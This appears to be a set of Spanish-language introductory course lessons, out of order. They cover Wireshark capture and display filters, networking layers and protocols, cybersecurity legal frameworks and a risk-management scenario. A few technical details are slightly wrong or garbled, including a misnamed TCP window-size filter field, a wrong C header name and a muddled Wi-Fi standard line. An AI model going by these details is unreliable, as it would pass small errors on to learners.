Wireshark contempla dos tipos de Filtros: filtros de captura y filtros de visualización. El primero de ellos, se aplica antes de la operación de captura, sin poder modificarse después. La función es que se visualicen sólo los paquetes que cumplen los requisitos del filtro. Por otro lado, el segundo ellos, se utilizan después del inicio de la operación de captura y sirve para mostrar un criterio sobre los paquetes capturados, la captura se almacena realmente en un búfer de rastreo. A diferencia del primero se puede cancelar y cambiar posteriormente.

Sintaxis de los filtros y ejemplos de filtros de captura

Podemos combinar las primitivas de los filtros de la siguiente forma:

  • Negación: ! ó not
  • Unión o Concatenación: && ó and
  • Alternancia: || ó or

Filtros generales

SintaxisSignificado
host hostFiltrar por host
src host hostCapturar por host origen
dst host hostCapturar por host destino
 Ejemplos
host 197.163.1.50Captura todos los paquetes con origen y destino 197.163.1.50
src host 197.163.1.50Captura todos los paquetes con origen en host 197.163.1.50
dst host 197.163.1.50Captura todos los paquetes con destino en host 197.163.1.50
dst host SERVER-1Captura todos los paquetes con destino en host SERVER-1
host http://www.hackrocks.comCaptura todos los paquetes con origen y destino http://www.hackrocks.com

Filtros basados en puertos

SintaxisSignificado
port portCaptura todos los paquetes con puerto origen y destino port
src port portCaptura todos los paquetes con puerto origen port
dst port portCaptura todos los paquetes con puerto destino port
not port portCaptura todos los paquetes excepto origen y destino puerto port
not port port and not port port1Captura todos los paquetes excepto origen y destino puertos port y port1
  Ejemplos
port 23Captura todos los paquetes con puerto origen y destino 23
src port 24Captura todos los paquetes con puerto origen 24
not port 25 and not port 80Captura todos los paquetes excepto origen y destino de los puertos 25 y 80
portrange 1-1024Captura todos los paquetes con puerto origen y destino en un rango de puertos 1 a 1024
dst portrange 1-1024Captura todos los paquetes con puerto destino en un rango de puertos 1 a 1024

Filtros basados en protocolo Ethernet / IP

Ejemplos
ipCaptura todo el tráfico IP
ip proto \tcpCaptura todos los segmentos TCP
ether proto \ipCaptura todo el tráfico IP
ip proto \arpCaptura todo el tráfico ARP

Filtros basados en red

SintaxisSignificado
net netCaptura todo el tráfico con origen y destino red net
dst net netCaptura todo el tráfico con destino red net
src net netCaptura todo el tráfico con origen red net
Ejemplos
net 192.168.1.0Captura todo el tráfico con origen y destino subred 1.0
net 192.168.1.0/24Captura todo el tráfico para la subred 1.0 mascara 255.0
dst net 192.168.2.0Captura todo el tráfico con destino para la subred 2.0
net 192.168.2.0 and port 21Captura todo el tráfico origen y destino puerto 21 en subred 2.0
broadcastCaptura solo el tráfico broadcast
not broadcast and not multicastCaptura todo el tráfico excepto el broadcast y el multicast

Filtros de Visualización (Display Filter)

Los filtros de visualización establecen un criterio de filtro sobre las paquetes que estamos capturando y qué estamos visualizando en la pantalla principal de Wireshark. Al aplicar el filtro en la pantalla principal de Wireshark aparecerá solo el tráfico filtrado a través del filtro de visualización.

Comparando Filtros.

§  Igual a: eq ó ==

§  No igual: ne ó !=

§  Mayor que:gt ó >

§  Menor que: lt ó <

§  Mayor o igual: ge ó >=

§  Menor o igual: le ó <=

Combinando Filtros.

§  Negación: ! ó not

§  Unión o Concatenación: && ó and

§  Alternancia:|| ó or

Otros operadores.

§  Contains: Realizamos una búsqueda por la cadena contains

Ejemplos de filtro

SintaxisSignificado
ip.addr == 194.164.1.40Visualizar tráfico por host 194.164.1.40
ip.addr != 196.164.1.25Visualizar todo el tráfico excepto host 196.164.1.25
ip.dst == 197.165.1.50Visualizar por host destino197.165.1.50
ip.src == 197.165.1.50Visualizar por host origen 197.165.1.50
ipVisualiza todo el tráfico IP
tcp.port ==143Visualiza todo el tráfico origen y destino puerto 143
ip.addr == 197.165.1.50 and tcp.port == 143Visualiza todo el tráfico origen y destino puerto 143 relativo al host 197.165.1.50
http contains «http://www.hackrocks.com «Visualiza el tráfico origen y destino http://www.hackrocks.com
frame contains «@micurso.es»Visualizamos todos los correos con origen y destino al dominio micurso.es, incluyendo usuarios, etc
icmp[0:1] == 08Filtro avanzado con el que visualizamos todo el tráfico icmp de tipo echo request
ip.ttl == 1Visualiza todos los paquetes IP cuyo campo TTL sea igual a 1
tcp.windows_size != 0Visualizar todos los paquetes cuyo campo Tamaño de Ventana del segmento TCP sea distinto de 0
ip.tos == xVisualiza todos los paquetes IP cuyo campo TOS sea igual a x
ip.flags.df == xVisualiza todos los paquetes IP cuyo campo DF sea igual a x
udp.port == 53Visualiza todo el tráfico UDP puerto 53
tcp contains «terra.com»Visualizamos segmentos TCP conteniendo la cadena terra.com

Analizando tráfico

Una prueba de concepto simple para entender cómo funciona un poco WireShark, es abrir la herramienta, seleccionar la interfaz de red que corresponda (en mi caso Ethernet porque estoy conectado por cable) y empezar a capturar tráfico.

En esta ocasión, tengo varias ventanas abiertas en el navegador y de forma adicional he lanzado un ping al dominio de google y he entrado en la web de comunio.

El objetivo será filtrar toda la cantidad de paquetes que salen para conseguir sólo los del ping y los relacionados con comunio.

El escenario de salida es el siguiente:

Primero, intentemos obtener los paquetes del ping. Para ello, lo podemos buscar por la IP destino que la propia herramienta nos devuelve, o podemos usar el filtro de icmp buscando los echo request (Tipo 8, código 0) o los echo reply (Tipo 0, Código 0), por ejemplo.

Al aplicar cualquiera de los filtros, encontramos los paquetes que vamos buscando. Ahora, pasemos a fijarnos bien, porque Wireshark no sólo nos muestra el tipo de mensaje, sino que despliega en el menú inferior las distintas capas del modelo TCP/IP con sus distintos campos y cabeceras.

En la captura anterior, hemos clicado sobre uno de los echo request lanzados por nuestro PC hacia google. Podemos ver las distintas capas con el origen y destino, así como las distintas cabeceras de los distintos protocolos. El protocolo ICMP es específico del ping, y va encapsulado sobre el protocolo IP, pero en esta ocasión se despliega aparte para una mejor visualización de sus campos.

Ahora, probemos a obtener el tráfico capturado hacia la web de comunio. Para ello podemos hacer un ping al dominio de comunio.es para averiguar la IP destino e incluirla en nuestro filtro. Al encontrarlo, podemos observar que el dominio usa HTTPS con el protocolo TLSv1.2 (comunicación cifrada).

En esta ocasión, podemos ver como aparecen la capa de transporte TCP y la de aplicación (según el modelo de capas de internet) TLS. En este último, podemos ver como la información va cifrada.

Fundamentos de Internet (protocolos)

Torre de protocolos

Es un conjunto de protocolos implementados en un sistema ordenados según su posición en el modelo y permite definir las entidades que se comunican y el nivel al que lo hacen.

Una torre de protocolos es un despliegue de los distintos protocolos en la capa correspondiente para ver qué es lo que se está ejecutando en la comunicación de cada equipo y cómo se comunican esos equipos.

En la siguiente imagen se pueden apreciar los distintos dispositivos que nos podríamos encontrar en una red y a la capa que son capaces de llegar. Podemos ver que:

– El  repetidor (o HUB) tan sólo es capaz de llegar a la capa 1, ya que sólo se encarga de reenviar los 0s y 1s que recibe (lo que le entra por un lado lo saca por el otro).

– El puente OSI (o switch) es capaz de llegar hasta la capa de enlace. Se usan para conectar equipos a las redes.

– El encaminador (o router) que capaz de alcanzar la capa de red. Recordemos que es el encargado de encaminar y reenviar los paquetes entre distintas redes.

– El sistema final que llega hasta la capa de aplicación. Recordemos que son en los equipos finales donde se ejecutan los procesos de las aplicaciones distribuidas.

Además, en la imagen anterior podemos apreciar que el equipo final origen tiene que encapsular su mensaje para que pueda atravesar los distintos equipos intermedios, los cuales desencapsularán los mensajes hasta la capa que puedan llegar (exceptuando el repetidor que no desencapsula nada ya que solo copia en la salida los 0s y 1s que recibe en la entrada).

Por último vamos a proceder a ver un ejemplo completo de torre de protocolos siguiendo el modelo que se sigue en internet.

En la imagen anterior se puede apreciar que en un host final se está ejecutando un navegador web chrome y al otro lado otro host está ejecutando un servidor apache. La torre de protocolos del host final, tendría http si es una navegación no segura, en la capa de transporte estaríamos ejecutando tcp, en la de red estaría IP, en la capa de enlace estaríamos ejecutando la 802.11 ya que estaríamos utilizando enlace WIFI y en la física está la 802.11ax que la d es uno de los protocolos WiFI que ha salido recientemente.

En el primer encaminador (mirando de izquierda a derecha) se estaría ejecutando en el enlace físico el 802.11ax para que sea una entidad par con el emisor, y como es un Router, tan solo llega hasta el nivel 3. En la otra pata que se comunica con otro router a través de un enlace punto a punto, la capa IP se mantiene pero la de enlace pasa a ser PPP, y después ya tendría alguno físico correspondiente al enlace dado.

En el segundo encaminador, la primera pata coincide con la entidad par del otro router y la otra pata que está conectada conectada a un servidor apache, como es un enlace ethernet estaría ejecutando en red IP, en enlace la 802.3 que es donde se define ethernet y en físico estaría por ejemplo la que observamos en la imagen, la 802.3ab.

El equipo final donde se ejecuta el servidor apache tendría lo mismo que el router hasta la capa de red para que sea entidad par, añadiendo TCP como transporte y HTTP como aplicación, para que sean entidades pares con las del equipo final donde se ejecuta el navegador web.

Como conclusión, vemos cómo hay una comunicación entre entidades pares, entre hosts finales que los dos llegan hasta aplicación y con el mismo protocolo, en transporte y red igual y lo que va cambiando o alternándose son los distintos protocolos de enlace y físico porque en esa comunicación va variando esas capas en los distintos equipos intermedios, pasando de wifi a ppp y de ahí a ethernet.

Comunicación App-Transporte. Sockets

Hemos hablado de que las capas de entidades pares se comunican y que para hacerlo necesitan hacer uso o prestar un servicio a las otras capas. Si una aplicación quiere enviar un mensaje, debe usar el servicio de la capa de transporte y para ello se crean lo que se conocen como sockets.

Los sockets son como APIs ofrecidas por el S.O para usar la red y que ayuda al flujo de datos entre procesos. Además:

– Es lo que permite que un proceso de App acceda a los servicios de transporte. Es como establecer un destino para que la aplicación pueda comunicarse con esa capa de transporte.

– El socket creado es identificado de forma única localmente usando el par IP:puerto.

– En un host puede haber múltiples aplicaciones y cada aplicación puede crear múltiples sockets. La forma que tiene el S.O de diferenciarlos es a partir del par IP:puerto.

– Para que la aplicación solicite el servicio de transporte, necesita usar Primitivas de Acceso al servicio. Por ejemplo, es como alguien que quiera viajar de España a Francia quiera solicitar el transporte de un avión, pues antes necesita comprar el billete. Haciendo la analogía, una aplicación para poder enviar un mensaje del emisor al destino necesita solicitar el servicio de transporte necesario y para ello utiliza los sockets.

Por último, existen librerías con dichas primitivas para el uso de sockets. En el lenguaje C -> #include <socket.h>; En Python -> import socket

La capa de transporte

Tras entender qué es una aplicación distribuida, el modelo de capas, cómo se comunican entre ellas y entre entidades pares,  vamos a explicar un poco más en detalle la capa de transporte.

La capa de transporte ofrece una comunicación lógica entre procesos de aplicación de equipos distintos.

El funcionamiento básico sería el siguiente:

– El emisor recibe mensajes de aplicación y genera segmentos (T-PDU). En la cabecera de segmento se identifican los procesos de aplicación destino y origen con puerto destino y origen.

– El receptor recibe segmentos, lee la cabecera (T-PCI) y avisa al proceso app destino.

Se ha hablado de puerto origen y destino pero, ¿qué es un puerto? 

Un puerto es un entero de 16 bits ( 2^16 valores posibles -> 0-65535). Los posibles valores que toman son:

– < 1024 (well-known ports): puertos reservados para aplicaciones generales registradas en IANA.

– 1024-49151( puertos registrados ): se usan para aplicaciones no tan generales

– > 49151: puertos dinámicos o efímeros

Capas

Modelo de capas

Previamente hemos comentado que los procesos de las aplicaciones distribuidas necesitan comunicarse para cooperar y ofrecer un servicio. Dicha comunicación requiere resolver múltiples problemas, y el modelo de capas da una solución modular que requiere descomponer varios servicios interdependientes donde:- El servicio pertenecerá a un nivel o capa según las tareas que realice, y dependerá del servicio de nivel inferior (usa al nivel inferior).
– Cada servicio tendrá su forma propia de solicitarlo y un protocolo que permita la colaboración de entidades pares.


En la siguiente imagen podemos observar una aplicación distribuida de multiplicación donde en cada equipo se ejecuta un proceso y  la capa de aplicación necesita apoyarse sobre la capa de red y transporte para lograr comunicarse con el otro extremo. La idea es observar como un servicio que ofrecen las aplicaciones distribuidas se puede descomponer en varios niveles o capa, donde en cada uno se realiza una tarea distinta. Por ejemplo,  en el de aplicación  es donde se realizaría las tareas en sí de la aplicación pero ese servicio requieren utilizar la capa de red para poder comunicarse con el proceso remoto (en otra red o en la misma) que ocurre en otro equipo informático que a su vez necesita de la capa de enlace para establecer un medio físico por donde viajarán los 0s y 1s correspondientes del mensaje.

Modelo OSI

Es un estándar de referencia para el intercambio de datos entre procesos de aplicación (Standard ISO/IEC 7498/ITU-X.200), desarrollado por la Organización Internacional de Normalización ISO en 1984, cuya arquitectura  se basa en 7 capas/niveles donde:

  • Cada capa ofrece un servicio a la capa superior y usa los servicios del nivel inferior.
  • Las entidades pares de cada capa cooperan para ofrecer un servicio.

En las siguiente imágenes se describen los funciones y objetivos de cada nivel.

Como ya hemos comentado,  las entidades pares deben colaborar entre ellas y para eso deben intercambiar mensajes y dar así el servicio. Los mensajes intercambiados entre entidades de un mismo nivel se conoce como PDU (unidad de datos del protocolo), y por tanto cada capa tiene una N-PDU (donde N es el nivel o capa).

Una N-PDU está compuesta por:

  • N-PCI o información de control del protocolo: información intercambiada entre entidades N para coordinar su operación conjunta.
  • N-SDU o unidad de datos del servicio: son los datos que le ha pasado la entidad superior (N+1) a la N.

Además, una N-PDU suele encapsular la PDU de nivel superior tal y como se muestra en la siguiente imagen:

De tal forma que la 2-PDU se podría expresar como: 2-PCI+3-PCI+4-PCI+5-PCI+6-PCI+7-PCI+7-SDU o 2-PCI+3-PCI+3-SDU, etc.

Por último, al igual que una capa superior usa una inferior, también hemos dicho que una inferior puede solicitar un servicio de la superior, pero ¿cómo? Pues existe un Interfaz de Uso del servicio que define cómo solicitar los servicios de una entidad de una capa:

En la imagen anterior además, se pueden observar dos términos importantes a la hora de comprender esa solicitud del servicio. El primer término es SAP, que son los puntos de acceso al servicio e identifica a la entidad que ofrece el servicio. El otro término es primitiva, que es el protocolo de interacción, es como la función que permite solicitar ese servicio. Por otro lado se habla de encapsular y desencapsular. Cada vez que el mensaje baja una capa se dice que se encapsula ya que añade la cabecera y el mensaje encapsulándolo en la SDU de nivel inferior. Cuando el procedimiento es al contario, es decir, cuando es el servicio inferior el que usa al superior (se sube en una capa) se desencapsula el mensaje ya que se desmenuza la SDU de nivel inferior, descubriendo la PCI y SDU de nivel superior.

Modelo TCP/IP

Modelo creado por Vinton Cerf y Robert Khan en 1970. Es el que hay en internet actualmente y fue implantando en la red ARPANET ( primera red de área amplia o WAN), también conocido como modelo DoD o DARPA ya que fue desarrollado por encargo de DARPA ( Departamento de Defensa de los Estados Unidos).


Este modelo describe un conjunto de guías generales de operaciones para permitir que un equipo se pueda comunicar en una red, especificando cómo los datos deberían ser formateados, direccionados, transmitidos, enrutados y recibidos. El mismo se divide en 4 capas.

Si lo comparamos con el modelo OSI, éste no es un modelo de capas independientes, más bien es un conjunto de protocolos interrelacionados que pueden ser clasificados como pertenecientes a una capa OSI en función del servicio que prestan. Tal y como se ve en la siguiente imagen , la capa de aplicación del modelo TCP/IP englobaría las capas de Aplicación, Presentación y Sesión del modelo OSI. Así mismo las de Host del modelo TCP/IP englobaría a la capa de Enlace y Físico del modelo OSI.

Por último, según en qué capa analicemos el mensaje, el mismo adquiere distinta terminología:

– El mensaje que se genere en la capa de aplicación se conoce como mensaje.

– Una vez que estemos hablando del mensaje en la capa 4 del modelo OSI o de la capa 3 del modelo de internet, pasaría a conocerse como segmento, es decir, la cabecera de transporte más el mensaje (en el modelo TCP/IP) es lo que conoce como un segmento.

– Si estuviéramos en el nivel 3 se conoce como datagrama. Cuando hablamos de datagrama nos estamos refiriendo a la cabecera de red, más la cabecera de transporte más todos los datos que van encapsulados de las capa de aplicación.

– Cuando estamos a nivel de enlace se denomina trama: que sería la cabecera de enlace,  más cabecera de red, más cabecera de transporte, más el mensaje de la aplicación. La trama es lo que se envía al medio físico.

Fundamentos de Internet

Formas de Interconexión

Tras ver ya los lenguajes que entienden los ordenadores, así como algunas definiciones relevantes, vamos a profundizar en las formas de conexión existentes entre los equipos.

Las formas de interconexión a grandes escalas son dos: directa e indirecta. En la directa se usa un enlace para comunicar a dos o más equipos de la misma red, mientras que en la indirecta se hace uso de conmutadores de paquetes.

Dentro de las conexiones directas existen dos subtipos:

1. Punto a punto: un cable une a dos equipos a nivel de enlace.

2. Acceso múltiple: existen muchos equipos conectados entre sí a través de un mismo cable conocido como BUS.

Dentro las conexiones indirectas, existen dos subtipos:

1. Redes conmutadas (LAN): donde se usan switches y es una red de área local.

2. Conjunto de redes conmutadas (internet): son necesarios el uso de los routers o encaminadores.

Estructura de Internet

Internet hemos visto que es el conjunto de equipos y redes que se comunican entre sí. La forma estructural de internet se podría dividir de la siguiente forma:


1. Borde de la Inter-red: es donde residen los hosts o nodos ( equipos finales ejecutando Apps).

2. Redes de acceso: son las que le proporcionan a los hosts finales la conexión con el resto de internet.

3. Redes de núcleo: es el conjunto de redes interconectadas a través del mundo . En ellas están los ISP’s o proveedores de Internet. Los ISPs tienen una jerarquía donde los de menor tamaño se comunican a través de los de mayor tamaño y la interconexión directa entre ISP’s se da mediante puntos de intercambio de tráfico (IXP).


Por último, los enlaces comparten su régimen binario entre todos los usuarios de internet.

Núcleo de la red. Compartición de recursos

Nosotros como usuario final en el entorno local, solo generamos tráfico y sólo dependemos del régimen binario de nuestra tarjeta de red. Sin embargo, cuando se hace una consulta a través de internet, esos paquetes viajan atravesando el núcleo de la red (los distintos routers conectados a través de enlaces), es decir de los distintos equipos que hay en el mundo, reenviando el paquete hasta llegar al destino. Por tanto, si escalamos el mismo escenario a muchos usuarios llegamos a la conclusión de que todos compartimos esos recursos/enlaces obligando a buscar una forma de compartir los recursos. En otras palabras, el uso de enlaces compartidos entre los usuarios obliga a fijar una forma de “repartir” el uso de la capacidad de conmutación de los conmutadores de paquetes y del régimen binario de sus enlaces. Existen dos forma:

1. Conmutación de circuitos: se usa por ejemplo en la red telefónica y se dedica un circuito (se reserva parte del régimen binario de cada enlace en el camino para la comunicación) para cada comunicación durante toda su duración. Es lo que se conoce como multiplexión por división en el tiempo.

Como podemos ver en la siguiente imagen,  hay un equipo que está ejecutando Discord que se quiere conectar a otro equipo que también lo está ejecutando. En esa llamada telefónica se podría reservar un (camino rojo), con parte del régimen binario de los enlaces,  para que cuando surja otra llamada (camino azul) , se le pueda llegar a dar otro circuito (otro trozo de régimen binario) y la llamada se pueda cursar en caso de coincidencia de enlaces. 



2. Conmutación de paquetes: los datos se envían a la red en paquetes o bloques sin dedicación de recursos exclusiva, es decir, cada paquete usa toda la capacidad del canal (todo el régimen binario) cuando le toca ser servido. Esto hace que sea necesario un búfer (un almacén para los paquetes hasta que se puedan procesar y enviar)  y se reduzca la probabilidad de pérdidas. Es lo que se conoce como multiplexión estadística.

Aplicaciones distribuidas

Una aplicación distribuida no es más que un servicio que se le ofrece a un usuario y para el cual cooperan procesos distintos equipos informáticos. Pueden ir desde un buscador web como google hasta la redes de bitcoin.

En las aplicaciones distribuidas cada proceso necesita usar primitivas del servicio de transporte de mensajes entre procesos para enviar o recibir mensajes y se necesita establecer una organización de esos procesos. Para indicar la organización de la aplicación entre varios procesos, es decir, como los diferentes procesos que componen la aplicación se comunican entre sí se usa lo que se conoce como una Arquitectura. Se distinguen tres tipos de arquitecturas:

1. Cliente-Servidor: un cliente inicia la comunicación con el servidor. Éste último siempre está activo, tiene una dirección IP permanente conocida por los clientes y está en escucha de peticiones de muchos clientes. No existen comunicación entre clientes. Ej: Buscador web


2. Peer to peer (P2P): es un cliente + servidor pero con características de sólo clientes, por lo que sólo hay comunicación entre clientes. Ej: Bitcoin, BitTorrent, Freenet, Ares, GNutella, etc.


3. Mixta: los peers consultan servidores para saber con qué peers deben comunicarse y obtener lo que buscan. Ej: Skype, utorrent, etc.

Cada aplicación elige el nivel de transporte que más se adecúe a sus necesidades. Por ejemplo, una aplicación web tradicional usa el protocolo de aplicación HTTP (no seguro ya que no cifra) y el servicio de transporte que usa es TCP. Por otro lado un servicio de streaming multimedia puede usar HTTP o RTP (RFC 1889) como protocolo de aplicación y  TCP o UDP como protocolo de transporte.

Internet

Definiciones

En este paso veremos algunas definiciones y conceptos básicos. Veremos también cómo se generan, envían y reciben 0s y 1s, es decir, cómo funciona el lenguaje de los ordenadores, cómo están interconectados entre ellos para conseguir lo que se conoce como internet, cuál es la estructura o jerarquía que existe en internet y por último veremos la compartición de recurso dentro de los núcleos de la red de internet.

Tras esta breve introducción pasamos a las definiciones anteriormente comentadas.

¿Qué es una red de ordenadores?

No es más que un conjunto de equipos informáticos conectados entre sí de forma indirecta o directa (cable).

Imagen de red de ordenadores

Siguiendo la definición anterior, para que un equipo que esté en una red A consiga conectarse a otro que está en otra red B, se necesita un encaminador (router), es decir, un dispositivo que se encarga de reenviar el paquete entre una red (sistema de interconexión que posibilita la comunicación entre aplicaciones) y otra.

Imagen de encaminador

Además, al conjunto de estas dos redes se le llama Inter-red (conjunto de redes). Si nos fijamos, Internet es una Inter-red, pero con extensión mundial.

Imagen de Internet

Para que dos equipos se logren comunicar (ya sea en la misma red o en otra), tienen que transmitir (escribir), recibir e interpretar (leer) 0s y 1s. Para eso, cuentan con NICs o tarjetas de red, que son las encargadas de conectar los dispositivos a nivel de enlace. Esas NICs, leen y escriben 0s y 1s, y a la velocidad a la que lo hacen, es lo que se conoce como régimen binario.

¿Qué es un servicio?

Es una tarea que se realiza por un usuario, que puede ser un ente físico o un proceso (o procesos) entre dos entidades que colaboran para dar el servicio.

Para que el servicio se pueda llegar a dar, los procesos entre dos entidades pares se tienen que comunicar. Para lograr esa comunicación, dichos mensajes deben tener un formato, orden y se deben realizar una serie de acciones para que el mensaje sea recibido, y esto es lo que se conoce como protocolo. Es decir, el protocolo es el que define el formato y el orden de los mensajes enviados y recibidos, así como de las acciones que se tienen que llegar a hacer para que ese mensaje sea recibido.

Antes, se comentó el uso de encaminadores para que un mensaje viajase desde una red A hacia otra B. Los paquetes que viajan entre las redes pueden llegar a dar más de un salto (pasan por más de un encaminador) hasta llegar a la red destino. Los encaminadores usan el encaminamiento y el reenvío para lograr que el paquete origen llegue al destino deseado. ¿Pero a qué hacen referencia estos dos términos?

  • El encaminamiento es la determinación global del mejor camino entre un origen y un destino siguiendo un criterio.
  • El reenvío es la determinación del siguiente salto de un paquete en cada nodo.
Imagen de encaminamiento

Los sistemas binarios (digitales) se usan porque presentan una serie de características como son la inmunidad frente al ruido, bajo consumo, diseño simple, tamaño mínimo, precisión, respuesta dinámica y Fan In/ Fan Out.

Imagen de sistema binario

Se ha hablado del uso de 0s y 1s, pero ¿cómo conseguimos esos 0s y 1s a nivel físico? La tecnología que hay detrás, son los denominados transistores.

En los circuitos se suelen implementar lo que se conocen como puertas lógicas, los cuales están compuestos de transistores. La placa de un PC está compuesta de millones de estos transistores.

Imagen de transistores

En la siguiente imagen, se puede apreciar un circuito simple con un transistor BJT (existen otros que se llaman Mosfet), el cual tiene una resistencia en base y otra en el colector. Si aumentamos la tensión de entrada (Vi) que está conectada a la base del transistor, la tensión de salida (Vo) se va a ir a un mínimo rozando el 0, considerándose un 0 lógico. Por otro lado, si disminuyéramos Vi, aumentaría la tensión de salida (Vo) consiguiendo un 1 lógico. Por tanto, los 0s y 1s no son más que representaciones de valores de tensión. Esos valores de tensión que se consideran 0s o 1s dependerán de la implementación de cada puerta y del tipo de transistor usado:

Imagen de circuito con transistor

Para entender mejor lo mencionado, veamos la siguiente imagen:

Imagen de puerta lógica

Se puede apreciar una puerta lógica donde en la entrada se considera un 1 lógico si recibe valores de tensión entre 3.5 y 5 V (Voltios), y un 0 lógico si recibe valores de tensión entre 0 y 1.5 V. Además, la misma sacará un 0 o un 1 dependiendo de si los valores de tensión que tiene en la salida están comprendidos entre 4.4 y 5 V (siendo en ese caso un 1 lógico) o comprendidos entre 0 y 0.33 V (siendo en ese caso un 0 lógico). Es otras palabras, será un 0 o 1 dependiendo de las características técnicas de los componentes utilizados.

Marcos Legales en Ciberseguridad

Introducción a los marcos legales y normativos

Los marcos legales y normativos en ciberseguridad establecen las bases para proteger la información y los sistemas frente a amenazas y ataques.

Estos marcos varían según el país, pero comparten objetivos comunes como la protección de datos personales, la seguridad en infraestructuras críticas y la prevención del cibercrimen.

Es importante distinguir entre varios conceptos:

  • Ley: Norma jurídica dictada por una autoridad competente que debe cumplirse obligatoriamente.
  • Regulación: Conjunto de reglas específicas que desarrolla y complementa una ley, detallando cómo debe aplicarse en situaciones concretas.
  • Directiva: Mandato emitido por una entidad supranacional, como la Unión Europea, que debe ser transpuesto a las legislaciones nacionales de los Estados miembros.
  • Normativa: Término general que engloba leyes, regulaciones y directivas que rigen un área específica, como la ciberseguridad.

Ejemplos:

  • GDPR (Reglamento General de Protección de Datos) (Regulación): Protege los datos personales de los ciudadanos de la UE.
  • Ley de Infraestructuras Críticas en Estados Unidos (Ley): Obliga a sectores clave a implementar medidas de seguridad.
  • NIS2 (Directiva): Directiva de la Unión Europea que establece requisitos más estrictos para la seguridad de redes y sistemas en sectores críticos, aplicable a todos los Estados miembros.

Reglamentos internacionales y regionales

Las regulaciones internacionales y regionales buscan armonizar las medidas de seguridad entre países y regiones. Estos marcos establecen una base común para las organizaciones, garantizando la coherencia en cómo se aborda e implementa la ciberseguridad.

Proporcionan metodologías estructuradas para gestionar riesgos, implementar controles efectivos y garantizar el cumplimiento de los estándares de seguridad.

Al promover la uniformidad en las prácticas de seguridad, estas regulaciones mejoran la confianza y la cooperación entre organizaciones que operan en distintas partes del mundo. También ayudan a abordar amenazas emergentes fomentando un enfoque proactivo y estandarizado en ciberseguridad, lo que permite a las organizaciones mantener su resiliencia y proteger datos sensibles de manera efectiva.

Estas regulaciones son fundamentales para garantizar que todas las entidades, independientemente de su ubicación geográfica, cumplan con un nivel de seguridad consistente, reduciendo así la exposición a vulnerabilidades y mejorando la estabilidad general del entorno digital.

Por ejemplo, el ISO/IEC 27001 permite que empresas de diferentes países implementen controles de seguridad estándar, facilitando la colaboración en proyectos internacionales y aumentando la confianza en la protección de datos compartidos.

Ejemplos:

  • ISO/IEC 27001: Estándar internacional para sistemas de gestión de seguridad de la información.
  • PCI DSS: Normativa para la protección de datos en transacciones con tarjetas de crédito.

Normas específicas para sectores críticos

En sectores como la salud, banca y energía, existen normas específicas debido a la sensibilidad de sus datos. Estas normas no sólo buscan proteger información crítica, sino también garantizar la continuidad operativa y la confianza de los usuarios.

En el sector salud, por ejemplo, la privacidad de los pacientes es prioritaria, por lo que normativas como HIPAA exigen estrictos controles sobre la información médica.

En el sector financiero, regulaciones como la SOX aseguran la precisión y transparencia en los informes financieros, reduciendo el riesgo de fraude.

Por último, en el sector energético, las guías de ENISA promueven la ciberresiliencia, asegurando la estabilidad de infraestructuras esenciales frente a ciberataques.

  • HIPAA (Health Insurance Portability and Accountability Act): Regula la privacidad de la información médica en EE. UU.
  • SOX (Sarbanes-Oxley Act): Obliga a empresas públicas a garantizar la precisión de su información financiera.
  • Regulaciones de la Agencia Europea de Ciberseguridad (ENISA): Guía para sectores energéticos y telecomunicaciones.

Estas normativas suelen ser revisadas y actualizadas con el fin de responder a amenazas emergentes y  avances tecnológicos. Por ejemplo, la Agencia Europea de Ciberseguridad (ENISA) ofrece recomendaciones adaptadas a nuevas vulnerabilidades y metodologías de ataque, garantizando que las medidas de seguridad evolucionen junto con el panorama de riesgos.

Este enfoque proactivo asegura que las empresas puedan mantener la continuidad operativa y proteger tanto sus activos digitales como la confianza del público.

Evaluación de cumplimiento y auditorías

Para garantizar el cumplimiento, las empresas deben realizar evaluaciones y auditorías periódicas.

Se recomienda que las evaluaciones de riesgo se lleven a cabo al menos una vez al año, mientras que las auditorías internas pueden realizarse semestralmente y las externas de manera anual o según la complejidad/modificaciones de los sistemas.

Estas revisiones identifican vulnerabilidades y aseguran que las políticas de seguridad se aplican correctamente. Es recomendable cambiar periódiamente de proveedor de auditorías externas para obtener diferentes perspectivas sobre la seguridad de la organización y mejorar los controles existentes.

Dato interesante: Diferencia entre auditoría y test de intrusión

  1. Auditoría: Evaluación metódica y procedimentada de los controles y procesos de seguridad con el fin de verificar su eficacia y cumplimiento con normativas.
  2. Test de intrusión: Simulación controlada de un ataque con el fin de identificar vulnerabilidades específicas en sistemas o redes.

Escenarios de gestión del riesgo.

Escenario 1:


Este es Ismael, jefe de proyecto de un equipo de desarrollo compuesto por un consultor, dos analistas senior, 2 analistas junior , 6 desarrolladores y un DBA. El proyecto consiste en el desarrollo de una aplicación web para la gestión de recursos humanos de una empresa.Por diversos motivos, uno de los principales riesgos que Ismael ha identificado es la alta rotación del personal senior.¿Qué medidas (o pasos de gestión) pondrá en marcha para mitigar la incidencia de dicho riesgo en el proyecto antes y durante la ejecución del mismo?

Piensa cuál podría ser la solución.


Antes del comienzo :

  • Formar al equipo de desarrollo antes de que comience el proyecto en los procedimientos de trabajo de la empresa, técnicas, métodos y herramientas que se utilizarán.
  • Utilizar técnicas, metodologías y herramientas conocidas para la mayoría de los miembros del equipo de desarrollo.
  • Negociar la firma de cláusulas de permanencia del personal senior durante el tiempo de ejecución del proyecto.

Durante la ejecución :

  • Mantener reuniones periódicas con el equipo completo para propiciar que todos los miembros tengan una visión actualizada del proyecto y de su marcha.
  • Asignar en cada tarea crítica un responsable. Agrupar las tareas críticas y asignar un responsable diferente.

Conclusiones

Antes mencionamos la herramienta Pilar, pero no queríamos hacer mención a esta herramienta hasta que se entendieran todos los conceptos.

Si bien un análisis de riesgo puede hacerse con un Excel, y en Internet hay varios modelos para descargar, la herramienta Pilar, tiene un modelo de amenazas muy completo y se adapta perfectamente al Esquema Nacional de Seguridad.


La herramienta se puede descargar desde el siguiente enlacehttps://www.ar-tools.com/

También se puede descargar un completo manual aquíhttps://www.ar-tools.com/doc/help_basic_es_e_20212.pdf


Lo que es importante entender, es que si nos enfrentamos a la herramienta sin los conceptos claros, no entenderemos cómo reflejarlo y qué se esta haciendo.

La descarga es gratuita aunque se necesitará una licencia para poder imprimir informes.

La herramienta viene con un ejemplo basado en sanidad, que se puede utilizar para ver la forma en que se han dado de alta los activos. Y cómo se realiza el análisis de riesgo.

Por ejemplo, en el siguiente ejemplo se puede ver todas las opciones que tenemos para un activo sobre todo identificar el activo como esencial.

Aquí se pueden observar la lista de salvaguardas y los niveles de madures en L0 A L5.

Para finalizar:

